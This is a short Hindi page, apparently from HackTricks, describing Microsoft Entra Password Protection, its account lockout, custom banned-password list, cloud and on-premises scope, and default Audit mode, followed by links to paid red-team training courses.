Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) एक सुरक्षा फीचर है जो कमज़ोर पासवर्ड के दुरुपयोग को रोकने में मदद करता है, उदाहरण के लिए जब कई असफल लॉगिन प्रयास होते हैं तो खातों को लॉक करके
यह आपको कस्टम पासवर्ड सूची को बैन करने की भी अनुमति देता है जिसे आपको प्रदान करना होगा।

इसे क्लाउड लेवल और ऑन-प्रिमाइसेस Active Directory दोनों पर लागू किया जा सकता है।

डिफ़ॉल्ट मोड Audit है:

References

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें